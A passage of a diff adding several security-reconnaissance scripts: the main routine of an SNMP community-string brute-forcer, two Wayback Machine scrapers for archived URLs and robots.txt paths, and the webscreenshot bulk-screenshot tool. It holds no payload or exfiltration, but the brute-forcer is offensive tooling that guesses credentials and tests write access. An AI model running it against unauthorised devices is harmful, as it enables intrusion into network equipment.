#parser.add_option('-h','--help', help='Show this help message and exit', action=parser.print_help())
|
||||
parser.add_option('-f','--file', help='Dictionary file', dest='dictionary', action='store')
|
||||
parser.add_option('-t','--target', help='Host IP', dest='ip', action='store')
|
||||
parser.add_option('-p','--port', help='SNMP port', dest='port', action='store', type='int',default=defaults.port)
|
||||
|
||||
|
||||
groupAlt = optparse.OptionGroup(parser, "Alternative Options")
|
||||
groupAlt.add_option('-s','--stdin', help='Read communities from stdin', dest='stdin', action='store_true',default=False)
|
||||
groupAlt.add_option('-c','--community', help='Single Community String to use', dest='community', action='store')
|
||||
groupAlt.add_option('--sploitego', help='Sploitego\'s bruteforce method', dest='sploitego', action='store_true',default=False)
|
||||
|
||||
|
||||
groupAuto = optparse.OptionGroup(parser, "Automation")
|
||||
groupAuto.add_option('-b','--bruteonly', help='Do not try to enumerate - only bruteforce', dest='enum', action='store_false',default=True)
|
||||
groupAuto.add_option('-a','--auto', help='Non Interactive Mode', dest='interactive', action='store_false',default=True)
|
||||
groupAuto.add_option('--no-colours', help='No colour output', dest='colour', action='store_false',default=True)
|
||||
|
||||
groupAdvanced = optparse.OptionGroup(parser, "Advanced")
|
||||
groupAdvanced.add_option('-r','--rate', help='Send rate', dest='rate', action='store',type='float', default=defaults.rate)
|
||||
groupAdvanced.add_option('--timeout', help='Wait time for UDP response (in seconds)', dest='timeOut', action='store', type='float' ,default=defaults.timeOut)
|
||||
groupAdvanced.add_option('--delay', help='Wait time after all packets are send (in seconds)', dest='delay', action='store', type='float' ,default=defaults.delay)
|
||||
|
||||
groupAdvanced.add_option('--iplist', help='IP list file', dest='lfile', action='store')
|
||||
groupAdvanced.add_option('-v','--verbose', help='Verbose output', dest='verbose', action='store_true',default=False)
|
||||
|
||||
groupOS = optparse.OptionGroup(parser, "Operating Systems")
|
||||
groupOS.add_option('--windows', help='Enumerate Windows OIDs (snmpenum.pl)', dest='windows', action='store_true',default=False)
|
||||
groupOS.add_option('--linux', help='Enumerate Linux OIDs (snmpenum.pl)', dest='linux', action='store_true',default=False)
|
||||
groupOS.add_option('--cisco', help='Append extra Cisco OIDs (snmpenum.pl)', dest='cisco', action='store_true',default=False)
|
||||
|
||||
parser.add_option_group(groupAdvanced)
|
||||
parser.add_option_group(groupAuto)
|
||||
parser.add_option_group(groupOS)
|
||||
parser.add_option_group(groupAlt)
|
||||
|
||||
(options, arguments) = parser.parse_args()
|
||||
|
||||
communities=[]
|
||||
ips=[]
|
||||
|
||||
banner(options.colour) #For SPARTA!!!
|
||||
|
||||
if not options.ip and not options.lfile:
|
||||
#Can't continue without target
|
||||
parser.print_help()
|
||||
exit(0)
|
||||
else:
|
||||
# Create the list of targets
|
||||
if options.lfile:
|
||||
try:
|
||||
with open(options.lfile) as t:
|
||||
ips = t.read().splitlines() #Potential DoS
|
||||
except:
|
||||
print "Could not open targets file: " + options.lfile
|
||||
exit(0)
|
||||
else:
|
||||
ips.append(options.ip)
|
||||
|
||||
if not options.colour:
|
||||
defaults.colour=False
|
||||
|
||||
# Create the list of communities
|
||||
if options.dictionary: # Read from file
|
||||
with open(options.dictionary) as f:
|
||||
communities=f.read().splitlines() #Potential DoS
|
||||
elif options.community: # Single community
|
||||
communities.append(options.community)
|
||||
elif options.stdin: # Read from input
|
||||
communities=[]
|
||||
else: #if not options.community and not options.dictionary and not options.stdin:
|
||||
communities=default_communities
|
||||
|
||||
#We ensure that default communities are included
|
||||
#if 'public' not in communities:
|
||||
# communities.append('public')
|
||||
#if 'private' not in communities:
|
||||
# communities.append('private')
|
||||
|
||||
if options.stdin:
|
||||
options.interactive=False
|
||||
|
||||
results=[]
|
||||
|
||||
if options.stdin:
|
||||
print >> sys.stderr, "Reading input for community strings ..."
|
||||
else:
|
||||
print >> sys.stderr, "Trying %d community strings ..." % len(communities)
|
||||
|
||||
if options.sploitego: #sploitego method of bruteforce
|
||||
if ips:
|
||||
for ip in ips:
|
||||
for version in ['v1', 'v2c']:
|
||||
bf = SNMPBruteForcer(ip, options.port, version, options.timeOut,options.rate)
|
||||
result=bf.guess(communities)
|
||||
for i in result:
|
||||
r=SNMPResults()
|
||||
r.addr=(ip,options.port)
|
||||
r.version=version
|
||||
r.community=i
|
||||
results.append(r)
|
||||
print ip, version+'\t',result
|
||||
else:
|
||||
parser.print_help()
|
||||
|
||||
else:
|
||||
results = password_brutefore(options, communities, ips)
|
||||
|
||||
#We identify whether the community strings are read or write
|
||||
if results:
|
||||
printout("\nTrying identified strings for READ-WRITE ...",WHITE)
|
||||
testSNMPWrite(results,options)
|
||||
else:
|
||||
printout("\nNo Community strings found",RED)
|
||||
exit(0)
|
||||
|
||||
#We attempt to enumerate the router
|
||||
while options.enum:
|
||||
SNMPenumeration(select_community(results,options),options)
|
||||
|
||||
#if (True if raw_input("Enumerate with different community? (Y/n):").lower() == 'n' else False):
|
||||
if get_input("Enumerate with different community? (y/N):",'y',options):
|
||||
continue
|
||||
else:
|
||||
break
|
||||
|
||||
if not options.enum:
|
||||
select_community(results,options)
|
||||
|
||||
print "Finished!"
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
|
@ -0,0 +1,47 @@
|
|||
import requests
|
||||
import re
|
||||
import sys
|
||||
from multiprocessing.dummy import Pool
|
||||
|
||||
|
||||
def robots(host):
|
||||
r = requests.get(
|
||||
'https://web.archive.org/cdx/search/cdx\
|
||||
?url=%s/robots.txt&output=json&fl=timestamp,original&filter=statuscode:200&collapse=digest' % host)
|
||||
results = r.json()
|
||||
if len(results) == 0: # might find nothing
|
||||
return []
|
||||
results.pop(0) # The first item is ['timestamp', 'original']
|
||||
return results
|
||||
|
||||
|
||||
def getpaths(snapshot):
|
||||
url = 'https://web.archive.org/web/{0}/{1}'.format(snapshot[0], snapshot[1])
|
||||
robotstext = requests.get(url).text
|
||||
if 'Disallow:' in robotstext: # verify it's acually a robots.txt file, not 404 page
|
||||
paths = re.findall('/.*', robotstext)
|
||||
return paths
|
||||
return []
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
if len(sys.argv) < 2:
|
||||
print('Usage:\n\tpython3 waybackrobots.py <domain-name>')
|
||||
sys.exit()
|
||||
|
||||
host = sys.argv[1]
|
||||
|
||||
snapshots = robots(host)
|
||||
print('Found %s unique results' % len(snapshots))
|
||||
if len(snapshots) == 0:
|
||||
sys.exit()
|
||||
print('This may take some time...')
|
||||
pool = Pool(4)
|
||||
paths = pool.map(getpaths, snapshots)
|
||||
unique_paths = set()
|
||||
for i in paths:
|
||||
unique_paths.update(i)
|
||||
filename = '%s-robots.txt' % host
|
||||
with open(filename, 'w') as f:
|
||||
f.write('\n'.join(unique_paths))
|
||||
print('[*] Saved results to %s' % filename)
|
||||
|
|
@ -0,0 +1,35 @@
|
|||
import requests
|
||||
import sys
|
||||
import json
|
||||
|
||||
|
||||
def waybackurls(host, with_subs):
|
||||
if with_subs:
|
||||
url = 'http://web.archive.org/cdx/search/cdx?url=*.%s/*&output=json&fl=original&collapse=urlkey' % host
|
||||
else:
|
||||
url = 'http://web.archive.org/cdx/search/cdx?url=%s/*&output=json&fl=original&collapse=urlkey' % host
|
||||
r = requests.get(url)
|
||||
results = r.json()
|
||||
return results[1:]
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
argc = len(sys.argv)
|
||||
if argc < 2:
|
||||
print('Usage:\n\tpython3 waybackurls.py <url> <include_subdomains:optional>')
|
||||
sys.exit()
|
||||
|
||||
host = sys.argv[1]
|
||||
with_subs = False
|
||||
if argc > 3:
|
||||
with_subs = True
|
||||
|
||||
urls = waybackurls(host, with_subs)
|
||||
json_urls = json.dumps(urls)
|
||||
if urls:
|
||||
filename = '%s-waybackurls.json' % host
|
||||
with open(filename, 'w') as f:
|
||||
f.write(json_urls)
|
||||
print('[*] Saved results to %s' % filename)
|
||||
else:
|
||||
print('[-] Found nothing')
|
||||
|
|
@ -0,0 +1,168 @@
|
|||
/***
|
||||
# This file is part of webscreenshot.
|
||||
#
|
||||
# Copyright (C) 2014, Thomas Debize <tdebize at mail.com>
|
||||
# All rights reserved.
|
||||
#
|
||||
# webscreenshot is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU Lesser General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# webscreenshot is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU Lesser General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU Lesser General Public License
|
||||
# along with webscreenshot. If not, see <http://www.gnu.org/licenses/>.
|
||||
***/
|
||||
|
||||
var Page = (function(custom_headers, http_username, http_password) {
|
||||
var opts = {
|
||||
width: 1200,
|
||||
height: 800,
|
||||
ajaxTimeout: 400,
|
||||
maxTimeout: 800,
|
||||
httpAuthErrorCode: 2
|
||||
};
|
||||
|
||||
var requestCount = 0;
|
||||
var forceRenderTimeout;
|
||||
var ajaxRenderTimeout;
|
||||
|
||||
var page = require('webpage').create();
|
||||
page.viewportSize = {
|
||||
width: opts.width,
|
||||
height: opts.height
|
||||
};
|
||||
|
||||
page.settings.userAgent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36';
|
||||
page.settings.userName = http_username;
|
||||
page.settings.password = http_password;
|
||||
|
||||
page.customHeaders = custom_headers;
|
||||
|
||||
page.onInitialized = function() {
|
||||
page.customHeaders = {};
|
||||
};
|
||||
// Silence confirmation messages and errors
|
||||
page.onConfirm = page.onPrompt = page.onError = noop;
|
||||
|
||||
page.onResourceRequested = function(request) {
|
||||
requestCount += 1;
|
||||
clearTimeout(ajaxRenderTimeout);
|
||||
};
|
||||
|
||||
page.onResourceReceived = function(response) {
|
||||
if (response.stage && response.stage == 'end' && response.status == '401') {
|
||||
page.failReason = '401';
|
||||
}
|
||||
|
||||
if (!response.stage || response.stage === 'end') {
|
||||
requestCount -= 1;
|
||||
if (requestCount === 0) {
|
||||
ajaxRenderTimeout = setTimeout(renderAndExit, opts.ajaxTimeout);
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
var api = {};
|
||||
|
||||
api.render = function(url, file) {
|
||||
opts.file = file;
|
||||
|
||||
page.open(url, function(status) {
|
||||
if (status !== "success") {
|
||||
if (page.failReason && page.failReason == '401') {
|
||||
// Specific 401 HTTP code hint
|
||||
phantom.exit(opts.httpAuthErrorCode);
|
||||
} else {
|
||||
// All other failures
|
||||
phantom.exit(1);
|
||||
}
|
||||
} else {
|
||||
forceRenderTimeout = setTimeout(renderAndExit, opts.maxTimeout);
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
function renderAndExit() {
|
||||
// Trick to avoid transparent background
|
||||
page.evaluate(function() {
|
||||
document.body.bgColor = 'white';
|
||||
});
|
||||
|
||||
page.render(opts.file);
|
||||
phantom.exit(0);
|
||||
}
|
||||
|
||||
function noop() {}
|
||||
|
||||
return api;
|
||||
});
|
||||
|
||||
function main() {
|
||||
|
||||
var system = require('system');
|
||||
var p_url = new RegExp('url_capture=(.*)');
|
||||
var p_outfile = new RegExp('output_file=(.*)');
|
||||
var p_header = new RegExp('header=(.*)');
|
||||
|
||||
var p_http_username = new RegExp('http_username=(.*)');
|
||||
var http_username = '';
|
||||
|
||||
var p_http_password = new RegExp('http_password=(.*)');
|
||||
var http_password = '';
|
||||
|
||||
var temp_custom_headers = {
|
||||
// Nullify Accept-Encoding header to disable compression (https://github.com/ariya/phantomjs/issues/10930)
|
||||
'Accept-Encoding': ' '
|
||||
};
|
||||
|
||||
for(var i = 0; i < system.args.length; i++) {
|
||||
if (p_url.test(system.args[i]) === true)
|
||||
{
|
||||
var URL = p_url.exec(system.args[i])[1];
|
||||
}
|
||||
|
||||
if (p_outfile.test(system.args[i]) === true)
|
||||
{
|
||||
var output_file = p_outfile.exec(system.args[i])[1];
|
||||
}
|
||||
|
||||
if (p_http_username.test(system.args[i]) === true)
|
||||
{
|
||||
http_username = p_http_username.exec(system.args[i])[1];
|
||||
}
|
||||
|
||||
if (p_http_password.test(system.args[i]) === true)
|
||||
{
|
||||
http_password = p_http_password.exec(system.args[i])[1];
|
||||
}
|
||||
|
||||
if (p_header.test(system.args[i]) === true)
|
||||
{
|
||||
var header = p_header.exec(system.args[i]);
|
||||
var p_header_split = header[1].split(': ', 2);
|
||||
var header_name = p_header_split[0];
|
||||
var header_value = p_header_split[1];
|
||||
|
||||
temp_custom_headers[header_name] = header_value;
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
if (typeof(URL) === 'undefined' || URL.length == 0 || typeof(output_file) === 'undefined' || output_file.length == 0) {
|
||||
console.log("Usage: phantomjs [options] webscreenshot.js url_capture=<URL> output_file=<output_file.png> [header=<custom header> http_username=<HTTP basic auth username> http_password=<HTTP basic auth password>]");
|
||||
console.log('Please specify an URL to capture and an output png filename !');
|
||||
|
||||
phantom.exit(1);
|
||||
}
|
||||
else {
|
||||
var page = Page(temp_custom_headers, http_username, http_password);
|
||||
page.render(URL, output_file);
|
||||
}
|
||||
}
|
||||
|
||||
main();
|
||||
|
|
@ -0,0 +1,432 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# This file is part of webscreenshot.
|
||||
#
|
||||
# Copyright (C) 2018, Thomas Debize <tdebize at mail.com>
|
||||
# All rights reserved.
|
||||
#
|
||||
# webscreenshot is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU Lesser General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# webscreenshot is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU Lesser General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU Lesser General Public License
|
||||
# along with webscreenshot. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
import re
|
||||
import os
|
||||
import sys
|
||||
import subprocess
|
||||
import datetime
|
||||
import time
|
||||
import signal
|
||||
import multiprocessing
|
||||
import itertools
|
||||
import shlex
|
||||
import logging
|
||||
import errno
|
||||
|
||||
# Script version
|
||||
VERSION = '2.2.1'
|
||||
|
||||
# OptionParser imports
|
||||
from optparse import OptionParser
|
||||
from optparse import OptionGroup
|
||||
|
||||
# Options definition
|
||||
parser = OptionParser(usage="usage: %prog [options] URL")
|
||||
|
||||
main_grp = OptionGroup(parser, 'Main parameters')
|
||||
main_grp.add_option('-i', '--input-file', help = '<INPUT_FILE>: text file containing the target list. Ex: list.txt', nargs = 1)
|
||||
main_grp.add_option('-o', '--output-directory', help = '<OUTPUT_DIRECTORY> (optional): screenshots output directory (default \'./screenshots/\')', nargs = 1)
|
||||
main_grp.add_option('-r', '--renderer', help = '<RENDERER> (optional): renderer to use among \'phantomjs\' (legacy but best results), \'chrome\', \'chromium\' (version > 57) (default \'phantomjs\')', choices = ['phantomjs', 'chrome', 'chromium'], default = 'phantomjs', nargs = 1)
|
||||
main_grp.add_option('-w', '--workers', help = '<WORKERS> (optional): number of parallel execution workers (default 2)', default = 2, nargs = 1)
|
||||
main_grp.add_option('-v', '--verbosity', help = '<VERBOSITY> (optional): verbosity level, repeat it to increase the level { -v INFO, -vv DEBUG } (default verbosity ERROR)', action = 'count', default = 0)
|
||||
|
||||
proc_grp = OptionGroup(parser, 'Input processing parameters')
|
||||
proc_grp.add_option('-p', '--port', help = '<PORT> (optional): use the specified port for each target in the input list. Ex: -p 80', nargs = 1)
|
||||
proc_grp.add_option('-s', '--ssl', help = '<SSL> (optional): enforce ssl for every connection', action = 'store_true', default = False)
|
||||
proc_grp.add_option('-m', '--multiprotocol', help = '<MULTIPROTOCOL> (optional): perform screenshots over HTTP and HTTPS for each target', action = 'store_true', default = False)
|
||||
|
||||
http_grp = OptionGroup(parser, 'HTTP parameters')
|
||||
http_grp.add_option('-c', '--cookie', help = '<COOKIE_STRING> (optional): cookie string to add. Ex: -c "JSESSIONID=1234; YOLO=SWAG"', nargs = 1)
|
||||
http_grp.add_option('-a', '--header', help = '<HEADER> (optional): custom or additional header. Repeat this option for every header. Ex: -a "Host: localhost" -a "Foo: bar"', action = 'append')
|
||||
|
||||
http_grp.add_option('-u', '--http-username', help = '<HTTP_USERNAME> (optional): specify a username for HTTP Basic Authentication.')
|
||||
http_grp.add_option('-b', '--http-password', help = '<HTTP_PASSWORD> (optional): specify a password for HTTP Basic Authentication.')
|
||||
|
||||
conn_grp = OptionGroup(parser, 'Connection parameters')
|
||||
conn_grp.add_option('-P', '--proxy', help = '<PROXY> (optional): specify a proxy. Ex: -P http://proxy.company.com:8080')
|
||||
conn_grp.add_option('-A', '--proxy-auth', help = '<PROXY_AUTH> (optional): provides authentication information for the proxy. Ex: -A user:password')
|
||||
conn_grp.add_option('-T', '--proxy-type', help = '<PROXY_TYPE> (optional): specifies the proxy type, "http" (default), "none" (disable completely), or "socks5". Ex: -T socks')
|
||||
conn_grp.add_option('-t', '--timeout', help = '<TIMEOUT> (optional): renderer execution timeout in seconds (default 30 sec)', default = 30, nargs = 1)
|
||||
|
||||
parser.option_groups.extend([main_grp, proc_grp, http_grp, conn_grp])
|
||||
|
||||
# renderer binaries, hoping to find it in a $PATH directory
|
||||
## Be free to change them to your own full-path location
|
||||
PHANTOMJS_BIN = 'phantomjs'
|
||||
CHROME_BIN = 'google-chrome'
|
||||
CHROMIUM_BIN = 'chromium'
|
||||
|
||||
WEBSCREENSHOT_JS = os.path.abspath(os.path.join(os.path.dirname(os.path.realpath(__file__)), './webscreenshot.js'))
|
||||
SCREENSHOTS_DIRECTORY = os.path.abspath(os.path.join(os.getcwdu(), './screenshots/'))
|
||||
|
||||
# Logger definition
|
||||
LOGLEVELS = {0 : 'ERROR', 1 : 'INFO', 2 : 'DEBUG'}
|
||||
logger_output = logging.StreamHandler(sys.stdout)
|
||||
logger_output.setFormatter(logging.Formatter('[%(levelname)s][%(name)s] %(message)s'))
|
||||
|
||||
logger_gen = logging.getLogger("General")
|
||||
logger_gen.addHandler(logger_output)
|
||||
|
||||
# Macros
|
||||
SHELL_EXECUTION_OK = 0
|
||||
SHELL_EXECUTION_ERROR = -1
|
||||
PHANTOMJS_HTTP_AUTH_ERROR_CODE = 2
|
||||
|
||||
# Handful patterns
|
||||
p_ipv4_elementary = '(?:[\d]{1,3})\.(?:[\d]{1,3})\.(?:[\d]{1,3})\.(?:[\d]{1,3})'
|
||||
p_domain = '[a-z0-9]+([\-\.]{1}[a-z0-9]+)*\.[a-z]{2,6}'
|
||||
p_port = '\d{0,5}'
|
||||
p_resource = '(?:/(?P<res>.*))?'
|
||||
|
||||
full_uri_domain = re.compile('^(?P<protocol>http(?:|s))://(?P<host>%s|%s)(?::(?P<port>%s))?%s$' % (p_domain, p_ipv4_elementary, p_port, p_resource))
|
||||
|
||||
fqdn_and_port = re.compile('^(?P<host>%s):(?P<port>%s)%s$' % (p_domain, p_port, p_resource))
|
||||
fqdn_only = re.compile('^(?P<host>%s)%s$' % (p_domain, p_resource))
|
||||
|
||||
ipv4_and_port = re.compile('^(?P<host>%s):(?P<port>%s)%s' % (p_ipv4_elementary, p_port, p_resource))
|
||||
ipv4_only = re.compile('^(?P<host>%s)%s$' % (p_ipv4_elementary, p_resource))
|
||||
|
||||
entry_from_csv = re.compile('^(?P<host>%s|%s)\s+(?P<port>\d+)$' % (p_domain, p_ipv4_elementary))
|
||||
|
||||
# Handful functions
|
||||
def init_worker():
|
||||
"""
|
||||
Tell the workers to ignore a global SIGINT interruption
|
||||
"""
|
||||
signal.signal(signal.SIGINT, signal.SIG_IGN)
|
||||
|
||||
def kill_em_all(signal, frame):
|
||||
"""
|
||||
Terminate all processes while capturing a SIGINT from the user
|
||||
"""
|
||||
logger_gen.info('CTRL-C received, exiting')
|
||||
sys.exit(0)
|
||||
|
||||
def shell_exec(url, command, options):
|
||||
"""
|
||||
Execute a shell command following a timeout
|
||||
Taken from http://howto.pui.ch/post/37471155682/set-timeout-for-a-shell-command-in-python
|
||||
"""
|
||||
global SHELL_EXECUTION_OK, SHELL_EXECUTION_ERROR
|
||||
|
||||
logger_url = logging.getLogger("%s" % url)
|
||||
logger_url.setLevel(options.log_level)
|
||||
|
||||
timeout = int(options.timeout)
|
||||
start = datetime.datetime.now()
|
||||
|
||||
try :
|
||||
p = subprocess.Popen(shlex.split(command), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
|
||||
# binaries timeout
|
||||
while p.poll() is None:
|
||||
time.sleep(0.1)
|
||||
now = datetime.datetime.now()
|
||||
if (now - start).seconds > timeout:
|
||||
logger_url.debug("Shell command PID %s reached the timeout, killing it now" % p.pid)
|
||||
logger_url.error("Screenshot somehow failed\n")
|
||||
|
||||
if sys.platform == 'win32':
|
||||
p.send_signal(signal.SIGTERM)
|
||||
else:
|
||||
p.send_signal(signal.SIGKILL)
|
||||
|
||||
return SHELL_EXECUTION_ERROR
|
||||
|
||||
retval = p.poll()
|
||||
if retval != SHELL_EXECUTION_OK:
|
||||
if retval == PHANTOMJS_HTTP_AUTH_ERROR_CODE:
|
||||
# HTTP Authentication request
|
||||
logger_url.error("HTTP Authentication requested, try to pass credentials with -u and -b options")
|
||||
else:
|
||||
# Phantomjs general error
|
||||
logger_url.error("Shell command PID %s returned an abnormal error code: '%s'" % (p.pid,retval))
|
||||
logger_url.error("Screenshot somehow failed\n")
|
||||
|
||||
return SHELL_EXECUTION_ERROR
|
||||
|
||||
else:
|
||||
# Phantomjs ok
|
||||
logger_url.debug("Shell command PID %s ended normally" % p.pid)
|
||||
logger_url.info("Screenshot OK\n")
|
||||
return SHELL_EXECUTION_OK
|
||||
|
||||
except Exception as e:
|
||||
if e.errno and e.errno == errno.ENOENT :
|
||||
logger_url.error('renderer binary could not have been found in your current PATH environment variable, exiting')
|
||||
else:
|
||||
logger_gen.error('Unknown error: %s, exiting' % e )
|
||||
return SHELL_EXECUTION_ERROR
|
||||
|
||||
def filter_bad_filename_chars(filename):
|
||||
#print (filename)
|
||||
"""
|
||||
Filter bad chars for any filename
|
||||
"""
|
||||
# Before, just avoid triple underscore escape for the classic '://' pattern
|
||||
filename = filename.replace('http://', '')
|
||||
filename = filename.replace('https://', '')
|
||||
#print (filename)
|
||||
|
||||
return re.sub('[^\w\-_\. ]', '-port', filename)
|
||||
#print (filename)
|
||||
|
||||
def extract_all_matched_named_groups(regex, match):
|
||||
"""
|
||||
Return a set of all extractable matched parameters.
|
||||
>>> full_uri_domain.groupindex
|
||||
{'domain': 1, 'port': 3}
|
||||
>>>full_uri_domain.match('http://8.8.8.8:80').group('domain')
|
||||
'8.8.8.8'
|
||||
>>>extract_all_matched_named_groups() => {'domain': '8.8.8.8', 'port': '80'}
|
||||
|
||||
"""
|
||||
result = {}
|
||||
for name, id in regex.groupindex.items():
|
||||
matched_value = match.group(name)
|
||||
if matched_value != None: result[name] = matched_value
|
||||
|
||||
return result
|
||||
|
||||
def entry_format_validator(line):
|
||||
"""
|
||||
Validate the current line against several regexes and return matched parameters (ip, domain, port etc.)
|
||||
"""
|
||||
tab = { 'full_uri_domain' : full_uri_domain,
|
||||
'fqdn_only' : fqdn_only,
|
||||
'fqdn_and_port' : fqdn_and_port,
|
||||
'ipv4_and_port' : ipv4_and_port,
|
||||
'ipv4_only' : ipv4_only,
|
||||
'entry_from_csv' : entry_from_csv
|
||||
}
|
||||
|
||||
for name, regex in tab.items():
|
||||
validator = regex.match(line)
|
||||
if validator:
|
||||
return extract_all_matched_named_groups(regex, validator)
|
||||
|
||||
def parse_targets(options, arguments):
|
||||
"""
|
||||
Parse list and convert each target to valid URI with port(protocol://foobar:port)
|
||||
"""
|
||||
|
||||
target_list = []
|
||||
|
||||
if options.input_file != None:
|
||||
with open(options.input_file,'rb') as fd_input:
|
||||
try:
|
||||
lines = [l.decode('utf-8').lstrip().rstrip().strip() for l in fd_input.readlines()]
|
||||
except UnicodeDecodeError as e:
|
||||
logger_gen.error('Your input file is not UTF-8 encoded, please encode it before using this script')
|
||||
sys.exit(0)
|
||||
else:
|
||||
lines = arguments
|
||||
|
||||
for index, line in enumerate(lines, start=1):
|
||||
matches = entry_format_validator(line)
|
||||
|
||||
# pass if line can be recognized as a correct input, or if no 'host' group could be found with all the regexes
|
||||
if matches == None or not('host' in matches.keys()):
|
||||
logger_gen.warn("Line %s '%s' could not have been recognized as a correct input" % (index, line))
|
||||
pass
|
||||
else:
|
||||
host = matches['host']
|
||||
|
||||
# Protocol is 'http' by default, unless ssl is forced
|
||||
if options.ssl == True:
|
||||
protocol = 'https'
|
||||
elif 'protocol' in matches.keys():
|
||||
protocol = str(matches['protocol'])
|
||||
else:
|
||||
protocol = 'http'
|
||||
|
||||
# Port is ('80' for http) or ('443' for https) by default, unless a specific port is supplied
|
||||
if options.port != None:
|
||||
port = options.port
|
||||
elif 'port' in matches.keys():
|
||||
port = int(matches['port'])
|
||||
|
||||
# if port is 443, assume protocol is https if is not specified
|
||||
protocol = 'https' if port == 443 else protocol
|
||||
else:
|
||||
port = 443 if protocol == 'https' else 80
|
||||
|
||||
# No resource URI by default
|
||||
if 'res' in matches.keys():
|
||||
res = str(matches['res'])
|
||||
else:
|
||||
res = None
|
||||
|
||||
# perform screenshots over HTTP and HTTPS for each target
|
||||
if options.multiprotocol:
|
||||
final_uri_http_port = int(matches['port']) if 'port' in matches.keys() else 80
|
||||
final_uri_http = '%s://%s:%s' % ('http', host, final_uri_http_port)
|
||||
target_list.append(final_uri_http)
|
||||
logger_gen.info("'%s' has been formatted as '%s' with supplied overriding options" % (line, final_uri_http))
|
||||
|
||||
|
||||
final_uri_https_port = int(matches['port']) if 'port' in matches.keys() else 443
|
||||
final_uri_https = '%s://%s:%s' % ('https', host, final_uri_https_port)
|
||||
target_list.append(final_uri_https)
|
||||
logger_gen.info("'%s' has been formatted as '%s' with supplied overriding options" % (line, final_uri_https))
|
||||
|
||||
else:
|
||||
final_uri = '%s://%s:%s' % (protocol, host, port)
|
||||
final_uri = final_uri + '/%s' % res if res != None else final_uri
|
||||
target_list.append(final_uri)
|
||||
|
||||
logger_gen.info("'%s' has been formatted as '%s' with supplied overriding options" % (line, final_uri))
|
||||
|
||||
return target_list
|
||||
|
||||
def craft_cmd(url_and_options):
|
||||
"""
|
||||
Craft the correct command with url and options
|
||||
"""
|
||||
global logger_output, PHANTOMJS_BIN, WEBSCREENSHOT_JS, SCREENSHOTS_DIRECTORY, SHELL_EXECUTION_OK, SHELL_EXECUTION_ERROR
|
||||
|
||||
url, options = url_and_options
|
||||
|
||||
logger_url = logging.getLogger("%s" % url)
|
||||
logger_url.addHandler(logger_output)
|
||||
logger_url.setLevel(options.log_level)
|
||||
|
||||
#output_filename = os.path.join(SCREENSHOTS_DIRECTORY, ('%s.png' % filter_bad_filename_chars(url)))
|
||||
output_filename = os.path.join(SCREENSHOTS_DIRECTORY, ('%s.jpg' % filter_bad_filename_chars(url)))
|
||||
|
||||
# PhantomJS renderer
|
||||
if options.renderer == 'phantomjs':
|
||||
# If you ever want to add some voodoo options to the phantomjs command to be executed, that's here right below
|
||||
cmd_parameters = [ PHANTOMJS_BIN,
|
||||
'--ignore-ssl-errors true',
|
||||
'--ssl-protocol any',
|
||||
'--ssl-ciphers ALL'
|
||||
]
|
||||
|
||||
cmd_parameters.append("--proxy %s" % options.proxy) if options.proxy != None else None
|
||||
cmd_parameters.append("--proxy-auth %s" % options.proxy_auth) if options.proxy_auth != None else None
|
||||
cmd_parameters.append("--proxy-type %s" % options.proxy_type) if options.proxy_type != None else None
|
||||
|
||||
cmd_parameters.append('"%s" url_capture="%s" output_file="%s"' % (WEBSCREENSHOT_JS, url, output_filename))
|
||||
|
||||
cmd_parameters.append('header="Cookie: %s"' % options.cookie.rstrip(';')) if options.cookie != None else None
|
||||
|
||||
cmd_parameters.append('http_username="%s"' % options.http_username) if options.http_username != None else None
|
||||
cmd_parameters.append('http_password="%s"' % options.http_password) if options.http_password != None else None
|
||||
|
||||
if options.header:
|
||||
for header in options.header:
|
||||
cmd_parameters.append('header="%s"' % header.rstrip(';'))
|
||||
|
||||
# Chrome and chromium renderers
|
||||
else:
|
||||
cmd_parameters = [ CHROME_BIN ] if options.renderer == 'chrome' else [ CHROMIUM_BIN ]
|
||||
cmd_parameters += [ '--allow-running-insecure-content',
|
||||
'--ignore-certificate-errors',
|
||||
'--ignore-urlfetcher-cert-requests',
|
||||
'--reduce-security-for-testing',
|
||||
'--no-sandbox',
|
||||
'--headless',
|
||||
'--disable-gpu',
|
||||
'--hide-scrollbars',
|
||||
'--incognito',
|
||||
'-screenshot="%s"' % output_filename,
|
||||
'--window-size=1200,800',
|
||||
'"%s"' % url
|
||||
]
|
||||
cmd_parameters.append('--proxy-server="%s"' % options.proxy) if options.proxy != None else None
|
||||
|
||||
cmd = " ".join(cmd_parameters)
|
||||
|
||||
logger_url.debug("Shell command to be executed\n'%s'\n" % cmd)
|
||||
|
||||
execution_retval = shell_exec(url, cmd, options)
|
||||
|
||||
return execution_retval, url
|
||||
|
||||
|
||||
def take_screenshot(url_list, options):
|
||||
"""
|
||||
Launch the screenshot workers
|
||||
Thanks http://noswap.com/blog/python-multiprocessing-keyboardinterrupt
|
||||
"""
|
||||
global SHELL_EXECUTION_OK, SHELL_EXECUTION_ERROR
|
||||
|
||||
screenshot_number = len(url_list)
|
||||
print "[+] %s URLs to be screenshot" % screenshot_number
|
||||
|
||||
